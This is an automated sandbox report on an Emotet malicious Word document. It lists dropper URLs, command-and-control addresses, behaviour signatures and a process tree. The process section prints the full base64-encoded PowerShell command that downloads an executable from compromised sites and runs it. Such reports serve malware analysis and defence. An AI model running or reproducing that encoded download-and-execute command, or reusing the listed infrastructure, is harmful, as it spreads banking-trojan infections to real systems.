Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    57s
  • max time network
    109s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    20/08/2020, 15:45

Sharing

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Report Analysis Logs

General

  • Target
    emotet_e1_86d480ab25fee4635d9de621cfd8f3866e047465bfbc8afeac4bfe33591c7190_2020-08-20__154414._doc.doc
  • Size 237KB
  • Sample200820-a121rbja1e
  • SHA256 86d480ab25fee4635d9de621cfd8f3866e047465bfbc8afeac4bfe33591c7190
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://www.yikeyuedu.com/wp-includes/Zf/
  • exe.dropper

    https://ywqzz.com/wp-includes/U/
  • exe.dropper

    https://masteringroi.com/roiroi/theme/60/
  • exe.dropper

    http://dootnaturals.com/wp-content/Xq/
  • exe.dropper

    https://colco-seminare.de/WordPress_05/H/
  • exe.dropper

    http://bautech-nickels.de/angebote/9/
  • exe.dropper

    http://conceptis.de/cgi-bin/m/

Extracted

Family

  • emotet

C2

  • 65.36.62.20:80

  • 209.126.6.222:8080

  • 5.153.250.14:8080

  • 204.225.249.100:7080

  • 77.90.136.129:8080

  • 185.94.252.27:443

  • 85.105.140.135:443

  • 83.169.21.32:7080

  • 190.190.148.27:8080

  • 185.94.252.12:80

  • 116.125.120.88:443

  • 190.115.18.139:8080

  • 61.92.159.208:8080

  • 24.148.98.177:80

  • 212.93.117.170:80

  • 91.219.169.180:80

  • 73.116.193.136:80

  • 87.106.46.107:8080

  • 187.162.248.237:80

  • 70.32.115.157:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Runs net.exe
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_86d480ab25fee4635d9de621cfd8f3866e047465bfbc8afeac4bfe33591c7190_2020-08-20__154414._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1508
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABOAHkAaABjAGMAZQA4AD0AKAAnAE0AaAB4ACcAKwAnAGMAZQBnADgAJwApADsALgAoACcAbgBlAHcALQAnACsAJwBpAHQAZQBtACcAKQAgACQAZQBuAHYAOgB0AGUATQBQAFwAbwBGAEYAaQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIARQBDAFQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBjAFUAcgBgAGkAdABZAHAAcgBPAGAAVABPAGMATwBsACIAIAA9ACAAKAAnAHQAbABzACcAKwAnADEAMgAnACsAJwAsACAAJwArACcAdAAnACsAJwBsAHMAMQAxACwAIAB0AGwAcwAnACkAOwAkAFMAbQA3ADAAbABhAHUAIAA9ACAAKAAnAEEAbwBlAGEAJwArACcAaQB0AGcAJwArACcAZwA2ACcAKQA7ACQAQgBvAHYAeQBfAGgANQA9ACgAJwBLACcAKwAnADQAdAB3ADcAagA4ACcAKQA7ACQASgA0AHYAOAB5ADIAaAA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcAcgA0AGcATwBmAGYAaQAnACsAJwBjAGUAJwArACcAMgAwACcAKwAnADEAOQByADQAZwAnACkAIAAgAC0AcgBlAFAAbABhAEMARQAgACgAWwBDAGgAYQBSAF0AMQAxADQAKwBbAEMAaABhAFIAXQA1ADIAKwBbAEMAaABhAFIAXQAxADAAMwApACwAWwBDAGgAYQBSAF0AOQAyACkAKwAkAFMAbQA3ADAAbABhAHUAKwAoACcALgBlAHgAJwArACcAZQAnACkAOwAkAEsAcQBkAGYAZgB0AHAAPQAoACcAWAAnACsAJwA4ADgAJwArACcAdQA0AF8AcgAnACkAOwAkAFAAMQBuAHMANAA1AHAAPQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4AZQBUAC4AVwBlAEIAQwBMAGkAZQBuAHQAOwAkAFgAYwBvADMAMQBxAHcAPQAoACcAaAAnACsAJwB0AHQAJwArACcAcAAnACsAJwBzADoALwAvAHcAJwArACcAdwAnACsAJwB3AC4AeQAnACsAJwBpACcAKwAnAGsAJwArACcAZQB5AHUAZQBkAHUAJwArACcALgAnACsAJwBjAG8AbQAvAHcAcAAtACcAKwAnAGkAbgBjAGwAJwArACcAdQBkAGUAcwAvAFoAZgAvACoAaAB0AHQAcABzADoALwAvAHkAdwBxAHoAegAuACcAKwAnAGMAbwBtAC8AJwArACcAdwBwAC0AaQBuACcAKwAnAGMAbAAnACsAJwB1AGQAZQAnACsAJwBzAC8AVQAvACoAaAB0AHQAcABzACcAKwAnADoALwAnACsAJwAvACcAKwAnAG0AYQBzACcAKwAnAHQAZQAnACsAJwByAGkAJwArACcAbgBnAHIAbwAnACsAJwBpAC4AJwArACcAYwBvACcAKwAnAG0AJwArACcALwByAG8AaQByAG8AaQAvAHQAaAAnACsAJwBlACcAKwAnAG0AJwArACcAZQAnACsAJwAvADYAMAAvACoAaAB0AHQAJwArACcAcAAnACsAJwA6AC8ALwBkAG8AbwB0ACcAKwAnAG4AJwArACcAYQAnACsAJwB0AHUAcgBhACcAKwAnAGwAJwArACcAcwAuAGMAbwAnACsAJwBtAC8AdwBwAC0AJwArACcAYwAnACsAJwBvAG4AdABlAG4AdAAnACsAJwAvAFgAcQAvACcAKwAnACoAaAB0AHQAcABzACcAKwAnADoAJwArACcALwAvAGMAbwBsACcAKwAnAGMAbwAtAHMAZQBtAGkAbgBhACcAKwAnAHIAZQAuAGQAJwArACcAZQAvAFcAJwArACcAbwAnACsAJwByAGQAUAByACcAKwAnAGUAcwAnACsAJwBzAF8AMAA1ACcAKwAnAC8ASAAvACoAJwArACcAaAB0AHQAJwArACcAcAA6AC8ALwBiAGEAdQB0AGUAYwBoAC0AbgBpAGMAawBlAGwAJwArACcAcwAuAGQAZQAvAGEAbgAnACsAJwBnACcAKwAnAGUAJwArACcAYgBvAHQAZQAnACsAJwAvADkALwAqAGgAJwArACcAdAB0AHAAOgAvAC8AYwAnACsAJwBvAG4AYwBlAHAAdAAnACsAJwBpACcAKwAnAHMALgBkAGUALwBjAGcAaQAtACcAKwAnAGIAaQBuACcAKwAnAC8AbQAvACcAKQAuACIAUwBQAEwAYABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABGAF8AYwB0AGcANQBpAD0AKAAnAEcAZwAzAGQAJwArACcAbABwAHQAJwApADsAZgBvAHIAZQBhAGMAaAAoACQARgBvAF8AOQBxADIAegAgAGkAbgAgACQAWABjAG8AMwAxAHEAdwApAHsAdAByAHkAewAkAFAAMQBuAHMANAA1AHAALgAiAEQATwBXAG4ATABgAG8AYQBgAGQAZgBJAGwAZQAiACgAJABGAG8AXwA5AHEAMgB6ACwAIAAkAEoANAB2ADgAeQAyAGgAKQA7ACQAQwBuAGUAMQBjADEAMAA9ACgAJwBZACcAKwAnAHUAMgBjAGsAJwArACcAagBmACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABKADQAdgA4AHkAMgBoACkALgAiAEwAYABFAE4ARwBgAFQAaAAiACAALQBnAGUAIAAyADgAMgAwADgAKQAgAHsAJgAoACcASQBuAHYAJwArACcAbwBrAGUALQBJACcAKwAnAHQAJwArACcAZQBtACcAKQAoACQASgA0AHYAOAB5ADIAaAApADsAJABOAG8AOABoAG4AegB3AD0AKAAnAFIAOAAnACsAJwAwADIAJwArACcAbQAxAHMAJwApADsAYgByAGUAYQBrADsAJABCAHIAcAA3ADIAMABzAD0AKAAnAE8AJwArACcAdgB4AGQAZgBmAF8AJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABKADMANQBiAHcAeQAxAD0AKAAnAE4AcwBvACcAKwAnADQAXwAyAHgAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1888
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Aoeaitgg6.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Aoeaitgg6.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1852
      • C:\Windows\SysWOW64\icm32\net1.exe
        "C:\Windows\SysWOW64\icm32\net1.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1624

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/864-22-0x000007FEEF750000-0x000007FEEF9CA000-memory.dmp
        Download

        memory/1508-5-0x000000000AF90000-0x000000000AF94000-memory.dmp
        Download

        memory/1508-6-0x000000000C010000-0x000000000C014000-memory.dmp
        Download

        memory/1508-2-0x0000000008A40000-0x0000000008A44000-memory.dmp
        Download

        memory/1624-21-0x0000000000270000-0x000000000027C000-memory.dmp
        Download

        memory/1852-17-0x0000000000280000-0x000000000028C000-memory.dmp
        Download

        memory/1888-9-0x0000000002200000-0x0000000002201000-memory.dmp
        Download

        memory/1888-14-0x000000001C400000-0x000000001C401000-memory.dmp
        Download

        memory/1888-13-0x000000001C370000-0x000000001C371000-memory.dmp
        Download

        memory/1888-12-0x0000000002240000-0x0000000002241000-memory.dmp
        Download

        memory/1888-11-0x0000000002480000-0x0000000002481000-memory.dmp
        Download

        memory/1888-10-0x000000001AD00000-0x000000001AD01000-memory.dmp
        Download

        memory/1888-8-0x000007FEEA290000-0x000007FEEAC7C000-memory.dmp
        Download